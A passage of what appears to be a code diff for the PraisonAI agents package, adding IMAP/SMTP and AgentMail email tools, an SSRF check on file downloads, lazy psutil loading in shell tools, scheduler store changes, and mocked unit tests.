status, data = mail.search(None, search_str)
if status != "OK" or not data[0]:
mail.logout()
return "No emails matched the search criteria."
msg_ids = data[0].split()
latest_ids = msg_ids[-min(limit, 50):]
latest_ids.reverse()
results = []
for uid in latest_ids:
status, msg_data = mail.fetch(uid, "(RFC822)")
if status != "OK":
continue
msg = email_lib.message_from_bytes(msg_data[0][1])
msg_subject = _decode_header_value(msg.get("Subject", "(no subject)"))
sender = msg.get("From", "unknown")
date = msg.get("Date", "")
mid = msg.get("Message-ID", "")
preview = _extract_body_preview(msg)
results.append(
f"- From: {sender}\n"
f" Subject: {msg_subject}\n"
f" Preview: {preview}{'...' if len(preview) >= 100 else ''}\n"
f" ID: {mid}\n"
f" Date: {date}"
)
mail.logout()
if not results:
return "No emails matched the search criteria."
return f"Found {len(results)} email(s):\n\n" + "\n\n".join(results)
except ValueError as e:
return str(e)
except Exception as e:
logger.error(f"Failed to search emails: {e}")
return f"Failed to search emails: {e}"
def _smtp_archive_email(message_id: str) -> str:
try:
import imaplib
mail, email_addr = _imap_connect(readonly=False)
search_id = message_id if message_id.startswith("<") else f"<{message_id}>"
status, data = mail.search(None, f'HEADER Message-ID "{search_id}"')
if status != "OK" or not data[0]:
mail.logout()
return f"Email not found: {message_id}"
uid = data[0].split()[0]
# Gmail: copy to All Mail, then delete from INBOX
# Other: just mark as \Seen and \Deleted
domain = email_addr.split("@")[-1].lower()
if domain in ("gmail.com", "googlemail.com") or os.environ.get("EMAIL_IMAP_SERVER", "").endswith("gmail.com"):
mail.copy(uid, "[Gmail]/All Mail")
mail.store(uid, "+FLAGS", "\\Deleted")
else:
mail.store(uid, "+FLAGS", "(\\Seen \\Deleted)")
mail.expunge()
mail.logout()
logger.info(f"Email archived: {message_id}")
return f"Email archived successfully (ID: {message_id})"
except ValueError as e:
return str(e)
except Exception as e:
logger.error(f"Failed to archive email {message_id}: {e}")
return f"Failed to archive email: {e}"
def _smtp_draft_email(to: str, subject: str, body: str) -> str:
import imaplib
import time
from email.mime.text import MIMEText
try:
email_addr, password, imap_server, imap_port = _get_imap_config()
msg = MIMEText(body, "plain")
msg["From"] = email_addr
msg["To"] = to
msg["Subject"] = subject
mail = imaplib.IMAP4_SSL(imap_server, imap_port)
mail.login(email_addr, password)
# Gmail uses [Gmail]/Drafts, others use Drafts or DRAFTS
domain = email_addr.split("@")[-1].lower()
if domain in ("gmail.com", "googlemail.com") or imap_server.endswith("gmail.com"):
drafts_folder = "[Gmail]/Drafts"
else:
drafts_folder = "Drafts"
mail.append(drafts_folder, "\\Draft", imaplib.Time2Internaldate(time.time()), msg.as_bytes())
mail.logout()
logger.info(f"Draft saved to {drafts_folder}")
return f"Draft saved to {drafts_folder} (To: {to}, Subject: {subject})"
except ValueError as e:
return str(e)
except Exception as e:
logger.error(f"Failed to save draft: {e}")
return f"Failed to save draft: {e}"
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Generic Tools — Auto-detect backend
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def send_email(to: str, subject: str, body: str) -> str:
"""Send an email to someone.
Auto-detects backend: AgentMail (if AGENTMAIL_API_KEY set) or
SMTP (if EMAIL_ADDRESS + EMAIL_PASSWORD set).
Args:
to: Recipient email address (e.g. [email protected])
subject: Email subject line
body: Email body text content
Returns:
Confirmation message with the sent message ID
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_send_email(to, subject, body)
return _smtp_send_email(to, subject, body)
def list_emails(limit: int = 10) -> str:
"""List recent emails in the inbox.
Auto-detects backend: AgentMail or IMAP.
Args:
limit: Maximum number of emails to return (default 10)
Returns:
Summary of recent emails with sender, subject, and preview
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_list_emails(limit)
return _smtp_list_emails(limit)
def read_email(message_id: str) -> str:
"""Read the full content of a specific email.
Auto-detects backend: AgentMail or IMAP.
Args:
message_id: The message ID to read (get this from list_emails)
Returns:
Full email content including sender, subject, and body
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_read_email(message_id)
return _smtp_read_email(message_id)
def reply_email(message_id: str, body: str) -> str:
"""Reply to an email message.
Auto-detects backend: AgentMail or SMTP.
Args:
message_id: The message ID to reply to (get this from list_emails)
body: Reply body text
Returns:
Confirmation with the reply message ID
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_reply_email(message_id, body)
return _smtp_reply_email(message_id, body)
def search_emails(
query: Optional[str] = None,
from_addr: Optional[str] = None,
subject: Optional[str] = None,
label: Optional[str] = None,
after_date: Optional[str] = None,
before_date: Optional[str] = None,
limit: int = 20,
) -> str:
"""Search emails by keyword, sender, subject, label, or date range.
Auto-detects backend: AgentMail or IMAP.
AgentMail supports: label, after_date, before_date.
IMAP supports: query (text search), from_addr, subject.
Args:
query: Search text in email body (IMAP only)
from_addr: Filter by sender email (IMAP only)
subject: Filter by subject text (IMAP only)
label: Filter by label (AgentMail only, e.g. "INBOX", "SENT")
after_date: Only emails after this date (ISO format, e.g. "2025-01-15")
before_date: Only emails before this date (ISO format, e.g. "2025-03-01")
limit: Maximum number of results (default 20, max 50)
Returns:
Matching emails with sender, subject, preview, and ID
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_search_emails(label, after_date, before_date, limit)
return _smtp_search_emails(query, from_addr, subject, limit)
def archive_email(message_id: str) -> str:
"""Archive an email (remove from inbox, keep in archive).
Auto-detects backend: AgentMail or IMAP.
Gmail: moves to All Mail. Other providers: marks as deleted from inbox.
Args:
message_id: The message ID to archive (get this from list_emails or search_emails)
Returns:
Confirmation message
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_archive_email(message_id)
return _smtp_archive_email(message_id)
def forward_email(message_id: str, to: str, note: Optional[str] = None) -> str:
"""Forward an email to another recipient.
Requires AgentMail backend. IMAP/SMTP does not support forwarding
(workaround: read_email + send_email).
Args:
message_id: The message ID to forward (get this from list_emails)
to: Recipient email address to forward to
note: Optional note to include above the forwarded message
Returns:
Confirmation with the forwarded message ID
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_forward_email(message_id, to, note)
return "Forward not supported with IMAP. Use read_email + send_email as a workaround."
def draft_email(to: str, subject: str, body: str) -> str:
"""Create an email draft without sending it.
Auto-detects backend: AgentMail or IMAP.
AgentMail: use send_draft() to send later.
IMAP: saves to Drafts folder (send from your email client).
Args:
to: Recipient email address
subject: Email subject line
body: Email body text
Returns:
Confirmation with draft details
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_draft_email(to, subject, body)
return _smtp_draft_email(to, subject, body)
def send_draft(draft_id: str) -> str:
"""Send a previously created email draft.
AgentMail only. IMAP drafts must be sent from your email client.
Args:
draft_id: The draft ID to send (get this from draft_email)
Returns:
Confirmation with the sent message ID
"""
backend = _detect_backend()
if backend == "agentmail":
return _agentmail_send_draft(draft_id)
return "send_draft requires AgentMail. IMAP drafts must be sent from your email client."
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# AgentMail-only tools (no IMAP equivalent)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def list_inboxes() -> str:
"""List all email inboxes available (AgentMail only).
Returns:
List of inbox email addresses
"""
client = _get_client()
try:
response = client.inboxes.list()
inbox_list = response.inboxes if hasattr(response, "inboxes") else response
if not inbox_list:
return "No inboxes found."
results = []
for inbox in inbox_list:
email = getattr(inbox, "inbox_id", "unknown")
display = getattr(inbox, "display_name", "") or ""
label = f"{email} ({display})" if display else email
results.append(f"- {label}")
return f"Found {len(results)} inbox(es):\n" + "\n".join(results)
except Exception as e:
logger.error(f"Failed to list inboxes: {e}")
return f"Failed to list inboxes: {e}"
def create_inbox(display_name: Optional[str] = None) -> str:
"""Create a new email inbox (AgentMail only).
Args:
display_name: Optional display name for the inbox
Returns:
Details of the created inbox
"""
client = _get_client()
try:
if display_name:
try:
from agentmail.inboxes.types import CreateInboxRequest
result = client.inboxes.create(
request=CreateInboxRequest(display_name=display_name)
)
except ImportError:
result = client.inboxes.create()
else:
result = client.inboxes.create()
inbox_id = getattr(result, "inbox_id", "unknown")
name = getattr(result, "display_name", "") or ""
logger.info(f"Inbox created: {inbox_id}")
label = f"{inbox_id} ({name})" if name else inbox_id
return f"Inbox created: {label}"
except Exception as e:
logger.error(f"Failed to create inbox: {e}")
return f"Failed to create inbox: {e}"
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Backward-compatible aliases (smtp_ prefix)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def smtp_send_email(to: str, subject: str, body: str) -> str:
"""Send an email using SMTP (Gmail, Outlook, etc.).
Uses EMAIL_ADDRESS and EMAIL_PASSWORD env vars.
Args:
to: Recipient email address
subject: Email subject line
body: Email body text
Returns:
Confirmation message
"""
return _smtp_send_email(to, subject, body)
def smtp_read_inbox(limit: int = 10, folder: str = "INBOX") -> str:
"""Read recent emails from your mailbox using IMAP.
Uses EMAIL_ADDRESS and EMAIL_PASSWORD env vars.
Args:
limit: Maximum number of emails to return (default 10)
folder: Mailbox folder to read from (default INBOX)
Returns:
Summary of recent emails with sender, subject, and preview
"""
return _smtp_list_emails(limit)
def smtp_search_inbox(
query: Optional[str] = None,
from_addr: Optional[str] = None,
subject: Optional[str] = None,
limit: int = 20,
) -> str:
"""Search emails using IMAP SEARCH.
Uses EMAIL_ADDRESS and EMAIL_PASSWORD env vars.
Args:
query: Search text in email body
from_addr: Filter by sender email address
subject: Filter by subject text
limit: Maximum number of results (default 20)
Returns:
Matching emails with sender, subject, preview
"""
return _smtp_search_emails(query, from_addr, subject, limit)
def smtp_archive_email(message_id: str) -> str:
"""Archive an email using IMAP.
Gmail: moves to All Mail. Other providers: marks as deleted.
Args:
message_id: The Message-ID header value
Returns:
Confirmation message
"""
return _smtp_archive_email(message_id)
def smtp_draft_email(to: str, subject: str, body: str) -> str:
"""Save an email draft using IMAP APPEND.
Saves to Drafts folder ([Gmail]/Drafts for Gmail).
Args:
to: Recipient email address
subject: Email subject line
body: Email body text
Returns:
Confirmation message
"""
return _smtp_draft_email(to, subject, body)
@@ -286,12 +286,26 @@ class FileTools:
}
try:
# Validate URL to prevent SSRF
from urllib.parse import urlparse
parsed_url = urlparse(url)
if parsed_url.scheme not in ("http", "https"):
return {"success": False, "path": "", "size": 0, "error": f"Unsupported URL scheme: {parsed_url.scheme}"}
import ipaddress, socket
try:
hostname = parsed_url.hostname or ""
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private or ip.is_loopback or ip.is_reserved or ip.is_link_local:
return {"success": False, "path": "", "size": 0, "error": f"URL resolves to private/reserved IP: {ip}"}
except (socket.gaierror, ValueError):
pass # Let the request handle DNS resolution errors
# Validate destination path
safe_path = FileTools._validate_path(destination)
# Create directory if needed
os.makedirs(os.path.dirname(safe_path) or ".", exist_ok=True)
# Download file
with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:
response.raise_for_status()
@@ -88,6 +88,16 @@ BUILTIN_PROFILES: Dict[str, ToolProfile] = {
tools=["store_learning", "search_learning"],
description="Categorized knowledge store/search (requires learn=True on Agent)",
),
"email": ToolProfile(
name="email",
tools=["send_email", "list_emails", "read_email", "reply_email"],
description="Email send/read via AgentMail API (requires AGENTMAIL_API_KEY)",
),
"smtp_email": ToolProfile(
name="smtp_email",
tools=["smtp_send_email", "smtp_read_inbox"],
description="Email send/read via SMTP/IMAP with mailbox credentials (requires EMAIL_ADDRESS, EMAIL_PASSWORD)",
),
}
@@ -25,12 +25,28 @@ logger = logging.getLogger(__name__)
_store_instance = None
def set_store(store):
"""Inject an external schedule store (e.g., config.yaml-backed).
When PraisonAIUI is running, it calls this at startup to redirect
all agent schedule_add/list/remove operations to the unified
``config.yaml`` instead of the default ``jobs.json``.
"""
global _store_instance
_store_instance = store
def _get_store():
"""Return (or create) the global ``FileScheduleStore``."""
"""Return (or create) the global schedule store.
Uses ``ConfigYamlScheduleStore`` (config.yaml) by default.
Automatically migrates any existing ``jobs.json`` data on first use.
"""
global _store_instance
if _store_instance is None:
from ..scheduler.store import FileScheduleStore
_store_instance = FileScheduleStore()
from ..scheduler.config_store import ConfigYamlScheduleStore
_store_instance = ConfigYamlScheduleStore()
_store_instance.migrate_from_json()
return _store_instance
@@ -13,7 +13,8 @@ import logging
import os
import time
import platform
import psutil
# psutil is imported lazily inside methods that need it
# to avoid hard failure when the package is not installed
from typing import Dict, List, Optional, Union
from ..approval import require_approval
@@ -25,14 +26,8 @@ class ShellTools:
self._check_dependencies()
def _check_dependencies(self):
"""Check if required packages are installed."""
try:
import psutil
except ImportError:
raise ImportError(
"Required package not available. Please install: psutil\n"
"Run: pip install psutil"
)
"""Check if required packages are installed (lazy — no hard failure)."""
pass
@require_approval(risk_level="critical")
def execute_command(
@@ -117,11 +112,16 @@ class ShellTools:
except subprocess.TimeoutExpired:
# Kill process on timeout
parent = psutil.Process(process.pid)
children = parent.children(recursive=True)
for child in children:
child.kill()
parent.kill()
try:
import psutil
parent = psutil.Process(process.pid)
children = parent.children(recursive=True)
for child in children:
child.kill()
parent.kill()
except ImportError:
# Fallback: kill without psutil
process.kill()
return {
'stdout': '',
@@ -148,6 +148,10 @@ class ShellTools:
Returns:
List of process information dictionaries
"""
try:
import psutil
except ImportError:
return [{"error": "psutil is required for list_processes. Install with: pip install psutil"}]
try:
processes = []
for proc in psutil.process_iter(['pid', 'name', 'username', 'memory_percent', 'cpu_percent']):
@@ -187,6 +191,13 @@ class ShellTools:
Returns:
Dictionary with operation results
"""
try:
import psutil
except ImportError:
return {
'success': False,
'message': 'psutil is required for kill_process. Install with: pip install psutil'
}
try:
process = psutil.Process(pid)
if force:
@@ -222,6 +233,10 @@ class ShellTools:
Returns:
Dictionary with system information
"""
try:
import psutil
except ImportError:
return {"error": "psutil is required for get_system_info. Install with: pip install psutil"}
try:
cpu_percent = psutil.cpu_percent(interval=1)
memory = psutil.virtual_memory()
@@ -256,12 +271,30 @@ class ShellTools:
logging.error(error_msg)
return {}
# Create instance for direct function access
_shell_tools = ShellTools()
execute_command = _shell_tools.execute_command
list_processes = _shell_tools.list_processes
kill_process = _shell_tools.kill_process
get_system_info = _shell_tools.get_system_info
# Lazy instance — deferred so module can be imported without psutil
_shell_tools = None
def _get_shell_tools():
global _shell_tools
if _shell_tools is None:
_shell_tools = ShellTools()
return _shell_tools
def execute_command(*args, **kwargs):
"""Execute a shell command safely."""
return _get_shell_tools().execute_command(*args, **kwargs)
def list_processes(*args, **kwargs):
"""List running processes with their details."""
return _get_shell_tools().list_processes(*args, **kwargs)
def kill_process(*args, **kwargs):
"""Kill a process by its PID."""
return _get_shell_tools().kill_process(*args, **kwargs)
def get_system_info(*args, **kwargs):
"""Get system information."""
return _get_shell_tools().get_system_info(*args, **kwargs)
if __name__ == "__main__":
# Example usage
@@ -206,7 +206,12 @@ def web_crawl(
"""
# Normalize to list
single_url = isinstance(urls, str)
url_list = [urls] if single_url else urls
if single_url and ',' in urls:
# LLM may pass comma-separated URLs as a single string
url_list = [u.strip() for u in urls.split(',') if u.strip()]
single_url = len(url_list) == 1
else:
url_list = [urls] if single_url else urls
# Get available providers
available = _get_available_crawl_providers()
+10 -2
View File
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
[project]
name = "praisonaiagents"
version = "1.5.63"
version = "1.5.80"
description = "Praison AI agents for completing complex tasks with Self Reflection Agents"
readme = "README.md"
requires-python = ">=3.10"
@@ -93,6 +93,13 @@ search = [
"ddgs>=9.0.0",
]
# Web crawling (Crawl4AI + Playwright browser)
# NOTE: After installing this extra, run: playwright install chromium
crawl = [
"crawl4ai>=0.4.0",
"playwright>=1.47.0",
]
# Combined features
all = [
"praisonaiagents[memory]",
@@ -104,7 +111,8 @@ all = [
"praisonaiagents[telemetry]",
"praisonaiagents[mongodb]",
"praisonaiagents[auth]",
"praisonaiagents[search]"
"praisonaiagents[search]",
"praisonaiagents[crawl]"
]
[tool.setuptools.packages.find]
@@ -0,0 +1,387 @@
"""Unit tests for email_tools.py — mocks AgentMail SDK, no real API calls."""
import os
import sys
import types
import unittest
from unittest.mock import MagicMock, patch
# Ensure the SDK is importable
sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
class TestEmailTools(unittest.TestCase):
"""Tests for send_email, list_emails, read_email, list_inboxes."""
def setUp(self):
"""Reset module-level client cache before each test."""
import praisonaiagents.tools.email_tools as et
et._client = None
os.environ["AGENTMAIL_API_KEY"] = "am_test_key"
os.environ["AGENTMAIL_INBOX_ID"] = "[email protected]"
def tearDown(self):
import praisonaiagents.tools.email_tools as et
et._client = None
os.environ.pop("AGENTMAIL_API_KEY", None)
os.environ.pop("AGENTMAIL_INBOX_ID", None)
def _mock_agentmail_module(self):
"""Create a mock agentmail module with AgentMail class."""
mock_client = MagicMock()
mock_agentmail_cls = MagicMock(return_value=mock_client)
mock_module = types.ModuleType("agentmail")
mock_module.AgentMail = mock_agentmail_cls
return mock_module, mock_client
# ── send_email ──────────────────────────────────────────────
def test_send_email_success(self):
mock_mod, mock_client = self._mock_agentmail_module()
# Mock the send response
mock_result = MagicMock()
mock_result.message_id = "msg_123"
mock_result.thread_id = "thread_456"
mock_client.inboxes.messages.send.return_value = mock_result
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import send_email
import praisonaiagents.tools.email_tools as et
et._client = None # Force re-creation
result = send_email(to="[email protected]", subject="Hello", body="Hi there")
self.assertIn("sent successfully", result)
self.assertIn("msg_123", result)
mock_client.inboxes.messages.send.assert_called_once_with(
"[email protected]",
to="[email protected]",
subject="Hello",
text="Hi there",
)
def test_send_email_uses_text_not_body(self):
"""Critical: SDK uses text= not body= parameter."""
mock_mod, mock_client = self._mock_agentmail_module()
mock_result = MagicMock()
mock_result.message_id = "msg_1"
mock_result.thread_id = "t1"
mock_client.inboxes.messages.send.return_value = mock_result
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import send_email
import praisonaiagents.tools.email_tools as et
et._client = None
send_email(to="[email protected]", subject="s", body="b")
call_kwargs = mock_client.inboxes.messages.send.call_args
# Must use text= keyword, never body=
self.assertIn("text", call_kwargs.kwargs)
self.assertNotIn("body", call_kwargs.kwargs)
def test_send_email_failure_returns_error(self):
mock_mod, mock_client = self._mock_agentmail_module()
mock_client.inboxes.messages.send.side_effect = Exception("Network error")
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import send_email
import praisonaiagents.tools.email_tools as et
et._client = None
result = send_email(to="[email protected]", subject="s", body="b")
self.assertIn("Failed to send", result)
self.assertIn("Network error", result)
# ── list_emails ─────────────────────────────────────────────
def test_list_emails_success(self):
mock_mod, mock_client = self._mock_agentmail_module()
mock_msg = MagicMock()
mock_msg.from_ = "[email protected]"
mock_msg.subject = "Test Subject"
mock_msg.preview = "Preview text"
mock_msg.message_id = "msg_100"
mock_msg.timestamp = "2026-03-16"
mock_response = MagicMock()
mock_response.messages = [mock_msg]
mock_response.count = 1
mock_client.inboxes.messages.list.return_value = mock_response
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import list_emails
import praisonaiagents.tools.email_tools as et
et._client = None
result = list_emails(limit=5)
self.assertIn("[email protected]", result)
self.assertIn("Test Subject", result)
self.assertIn("msg_100", result)
# Must use .messages attribute, not iterate response directly
mock_client.inboxes.messages.list.assert_called_once_with(
"[email protected]", limit=5
)
def test_list_emails_uses_from_underscore(self):
"""Critical: SDK uses msg.from_ not msg.from_address."""
mock_mod, mock_client = self._mock_agentmail_module()
mock_msg = MagicMock(spec=["from_", "subject", "preview", "message_id", "timestamp"])
mock_msg.from_ = "[email protected]"
mock_msg.subject = "Sub"
mock_msg.preview = "Pre"
mock_msg.message_id = "id1"
mock_msg.timestamp = "now"
mock_response = MagicMock()
mock_response.messages = [mock_msg]
mock_response.count = 1
mock_client.inboxes.messages.list.return_value = mock_response
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import list_emails
import praisonaiagents.tools.email_tools as et
et._client = None
result = list_emails()
self.assertIn("[email protected]", result)
def test_list_emails_empty(self):
mock_mod, mock_client = self._mock_agentmail_module()
mock_response = MagicMock()
mock_response.messages = []
mock_client.inboxes.messages.list.return_value = mock_response
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import list_emails
import praisonaiagents.tools.email_tools as et
et._client = None
result = list_emails()
self.assertIn("No emails found", result)
# ── read_email ──────────────────────────────────────────────
def test_read_email_success(self):
mock_mod, mock_client = self._mock_agentmail_module()
mock_msg = MagicMock()
mock_msg.from_ = "[email protected]"
mock_msg.to = ["[email protected]"]
mock_msg.subject = "Full Read Test"
mock_msg.extracted_text = "Full body content here"
mock_msg.timestamp = "2026-03-16T12:00:00"
mock_msg.in_reply_to = ""
mock_client.inboxes.messages.get.return_value = mock_msg
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import read_email
import praisonaiagents.tools.email_tools as et
et._client = None
result = read_email(message_id="msg_100")
self.assertIn("[email protected]", result)
self.assertIn("Full Read Test", result)
self.assertIn("Full body content here", result)
# ── list_inboxes ────────────────────────────────────────────
def test_list_inboxes_success(self):
mock_mod, mock_client = self._mock_agentmail_module()
mock_inbox = MagicMock()
mock_inbox.inbox_id = "[email protected]"
mock_inbox.display_name = "Praison"
mock_response = MagicMock()
mock_response.inboxes = [mock_inbox]
mock_client.inboxes.list.return_value = mock_response
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import list_inboxes
import praisonaiagents.tools.email_tools as et
et._client = None
result = list_inboxes()
self.assertIn("[email protected]", result)
self.assertIn("Praison", result)
# ── Missing env vars ────────────────────────────────────────
def test_missing_api_key_raises(self):
os.environ.pop("AGENTMAIL_API_KEY", None)
import praisonaiagents.tools.email_tools as et
et._client = None
with self.assertRaises(ValueError) as ctx:
et._get_client()
self.assertIn("AGENTMAIL_API_KEY", str(ctx.exception))
def test_missing_inbox_id_raises(self):
os.environ.pop("AGENTMAIL_INBOX_ID", None)
import praisonaiagents.tools.email_tools as et
with self.assertRaises(ValueError) as ctx:
et._get_inbox_id()
self.assertIn("AGENTMAIL_INBOX_ID", str(ctx.exception))
# ── Profile registration ────────────────────────────────────
def test_email_profile_exists(self):
from praisonaiagents.tools.profiles import get_profile
profile = get_profile("email")
self.assertEqual(profile.name, "email")
self.assertIn("send_email", profile.tools)
self.assertIn("list_emails", profile.tools)
self.assertIn("read_email", profile.tools)
# ── Lazy import via tools package ───────────────────────────
def test_lazy_import_from_tools_package(self):
from praisonaiagents.tools import send_email
from praisonaiagents.tools.email_tools import send_email as direct
self.assertIs(send_email, direct)
# ── reply_email ──────────────────────────────────────────────
def test_reply_email_success(self):
mock_mod, mock_client = self._mock_agentmail_module()
mock_result = MagicMock()
mock_result.message_id = "reply_msg_1"
mock_result.thread_id = "thread_1"
mock_client.inboxes.messages.reply.return_value = mock_result
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import reply_email
import praisonaiagents.tools.email_tools as et
et._client = None
result = reply_email(message_id="msg_100", body="Thanks!")
self.assertIn("reply_msg_1", result)
self.assertIn("Reply sent", result)
mock_client.inboxes.messages.reply.assert_called_once_with(
"[email protected]",
"msg_100",
text="Thanks!",
)
def test_reply_email_uses_text_not_body(self):
"""SDK reply uses text= not body= parameter."""
mock_mod, mock_client = self._mock_agentmail_module()
mock_result = MagicMock()
mock_result.message_id = "r1"
mock_result.thread_id = "t1"
mock_client.inboxes.messages.reply.return_value = mock_result
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import reply_email
import praisonaiagents.tools.email_tools as et
et._client = None
reply_email(message_id="m1", body="b")
call_kwargs = mock_client.inboxes.messages.reply.call_args
self.assertIn("text", call_kwargs.kwargs)
self.assertNotIn("body", call_kwargs.kwargs)
# ── create_inbox ─────────────────────────────────────────────
def test_create_inbox_success(self):
mock_mod, mock_client = self._mock_agentmail_module()
mock_inbox = MagicMock()
mock_inbox.inbox_id = "[email protected]"
mock_inbox.display_name = "My Agent"
mock_client.inboxes.create.return_value = mock_inbox
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import create_inbox
import praisonaiagents.tools.email_tools as et
et._client = None
result = create_inbox(display_name="My Agent")
self.assertIn("[email protected]", result)
self.assertIn("created", result.lower())
# ── Angle-bracket normalization ──────────────────────────────
def test_read_email_angle_bracket_normalization(self):
"""LLMs strip angle brackets from message IDs. read_email should add them."""
mock_mod, mock_client = self._mock_agentmail_module()
mock_msg = MagicMock()
mock_msg.from_ = "[email protected]"
mock_msg.to = ["[email protected]"]
mock_msg.subject = "Test"
mock_msg.extracted_text = "Body"
mock_msg.timestamp = "now"
mock_msg.in_reply_to = ""
mock_client.inboxes.messages.get.return_value = mock_msg
with patch.dict("sys.modules", {"agentmail": mock_mod}):
from praisonaiagents.tools.email_tools import read_email
import praisonaiagents.tools.email_tools as et
et._client = None
# Pass WITHOUT angle brackets — should be normalized
read_email(message_id="[email protected]")
# The API call should have angle brackets
call_args = mock_client.inboxes.messages.get.call_args
actual_id = call_args[0][1] # second positional arg
self.assertTrue(actual_id.startswith("<"), f"Expected <...> but got: {actual_id}")
self.assertTrue(actual_id.endswith(">"), f"Expected <...> but got: {actual_id}")
# ── SMTP tools error handling ────────────────────────────────
def test_smtp_send_email_missing_creds(self):
os.environ.pop("EMAIL_ADDRESS", None)
os.environ.pop("EMAIL_PASSWORD", None)
from praisonaiagents.tools.email_tools import smtp_send_email
result = smtp_send_email(to="[email protected]", subject="s", body="b")
self.assertIn("EMAIL_ADDRESS", result)
self.assertIn("EMAIL_PASSWORD", result)
def test_smtp_read_inbox_missing_creds(self):
os.environ.pop("EMAIL_ADDRESS", None)
os.environ.pop("EMAIL_PASSWORD", None)
from praisonaiagents.tools.email_tools import smtp_read_inbox
result = smtp_read_inbox()
self.assertIn("EMAIL_ADDRESS", result)
self.assertIn("EMAIL_PASSWORD", result)
# ── SMTP profile registration ────────────────────────────────
def test_smtp_email_profile_exists(self):
from praisonaiagents.tools.profiles import get_profile
profile = get_profile("smtp_email")
self.assertEqual(profile.name, "smtp_email")
self.assertIn("smtp_send_email", profile.tools)
self.assertIn("smtp_read_inbox", profile.tools)
# ── SMTP lazy import ─────────────────────────────────────────
def test_smtp_lazy_import_from_tools_package(self):
from praisonaiagents.tools import smtp_send_email
from praisonaiagents.tools.email_tools import smtp_send_email as direct
self.assertIs(smtp_send_email, direct)
if __name__ == "__main__":
unittest.main()
@@ -0,0 +1,348 @@
"""
Unit tests for scheduler execution history functionality.
Tests:
- RunRecord model serialization
- FileScheduleStore.log_run() and get_history()
- ConfigYamlScheduleStore.log_run() and get_history()
- ScheduleRunner.mark_run() with history params
- History limit enforcement
- History persistence
"""
import os
import tempfile
import time
class TestRunRecordModel:
"""Tests for RunRecord dataclass."""
def test_run_record_creation(self):
"""Test basic RunRecord creation."""
from praisonaiagents.scheduler.models import RunRecord
record = RunRecord(
job_id="test123",
job_name="Test Job",
status="succeeded",
result="Hello world",
duration=1.5,
delivered=True,
)
assert record.job_id == "test123"
assert record.job_name == "Test Job"
assert record.status == "succeeded"
assert record.result == "Hello world"
assert record.duration == 1.5
assert record.delivered is True
assert record.error is None
assert record.timestamp > 0
def test_run_record_to_dict(self):
"""Test RunRecord serialization to dict."""
from praisonaiagents.scheduler.models import RunRecord
record = RunRecord(
job_id="abc",
job_name="My Job",
status="failed",
error="Something went wrong",
duration=0.5,
timestamp=1234567890.0,
)
d = record.to_dict()
assert d["job_id"] == "abc"
assert d["job_name"] == "My Job"
assert d["status"] == "failed"
assert d["error"] == "Something went wrong"
assert d["duration"] == 0.5
assert d["timestamp"] == 1234567890.0
assert d["delivered"] is False
assert d["result"] is None
def test_run_record_from_dict(self):
"""Test RunRecord deserialization from dict."""
from praisonaiagents.scheduler.models import RunRecord
d = {
"job_id": "xyz",
"job_name": "Restored Job",
"status": "skipped",
"result": "Skipped result",
"error": None,
"duration": 2.0,
"delivered": False,
"timestamp": 9999999999.0,
}
record = RunRecord.from_dict(d)
assert record.job_id == "xyz"
assert record.job_name == "Restored Job"
assert record.status == "skipped"
assert record.result == "Skipped result"
assert record.duration == 2.0
assert record.timestamp == 9999999999.0
class TestFileScheduleStoreHistory:
"""Tests for FileScheduleStore history functionality."""
def test_log_run_creates_history(self):
"""Test that log_run adds a history record."""
from praisonaiagents.scheduler.store import FileScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
store = FileScheduleStore(store_dir=tmpdir)
assert len(store.get_history()) == 0
store.log_run(
job_id="job1",
status="succeeded",
result="Test result",
duration=1.0,
delivered=True,
job_name="Test Job",
)
history = store.get_history()
assert len(history) == 1
assert history[0].job_id == "job1"
assert history[0].status == "succeeded"
assert history[0].result == "Test result"
assert history[0].delivered is True
def test_get_history_newest_first(self):
"""Test that history is returned newest first."""
from praisonaiagents.scheduler.store import FileScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
store = FileScheduleStore(store_dir=tmpdir)
store.log_run(job_id="job1", status="succeeded", job_name="First")
time.sleep(0.01)
store.log_run(job_id="job2", status="succeeded", job_name="Second")
time.sleep(0.01)
store.log_run(job_id="job3", status="succeeded", job_name="Third")
